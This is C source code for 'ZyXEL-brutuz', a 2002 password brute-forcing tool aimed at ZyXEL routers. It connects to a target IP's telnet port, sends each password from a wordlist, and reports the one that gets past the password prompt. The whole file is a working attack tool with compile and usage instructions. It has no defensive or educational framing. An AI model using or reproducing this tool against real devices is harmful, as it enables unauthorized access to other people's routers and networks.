/* ZYXEL-brutuz v 1.0.0 Password-brutforcer for ZyXel Routerz... C'ed by [ zWARYAG ] / BetaFly Computer Team to compile : cc zyxbrut.c -o zyxbrut Aug : 2k2 thnkzz to DruiD / BetaFly CT. kengurenko@australkia.edu */ #include #include #include #include #include #include #include void USAGE(void); int main(int argc, char *argv[]) { int port=23; int s; struct sockaddr_in addr; int sock; char pass_buf[30]; FILE *pass_filePtr; char banner[2048]; char finder[5]="asswo"; if(argc!=3) USAGE(); if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("Socket ERROR"); exit(1); } addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(argv[1]); if ((pass_filePtr=fopen(argv[2],"r"))==NULL) { printf("[ERROR] '%s' could not be opened!\n",argv[2]); exit(1); } fscanf(pass_filePtr,"%s", pass_buf); while(!feof(pass_filePtr)) { if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("Socket ERROR"); exit(1); } if ((connect(sock,(struct sockaddr *) &addr, sizeof(addr))) == 0) { bzero(banner,sizeof(banner)); s=send(sock,pass_buf,sizeof(pass_buf),0); read(sock,banner,sizeof(banner)); s=send(sock,"\n",sizeof("\n"),0); read(sock,banner,sizeof(banner)); if(strstr(banner,finder)) printf("%s\n",pass_buf); else { printf("\nOK! Password iz : %s\n",pass_buf); close(sock); exit(0); } } fscanf(pass_filePtr,"%s", pass_buf); close(sock); } return 0; } void USAGE() { printf("\n"); printf(" ZyXel-Brutuz v.1.0 by [zWARYAG] / BetaFly Computer Team\n"); printf(" Uze : zyxbrut \n"); printf("\n"); exit(0); }

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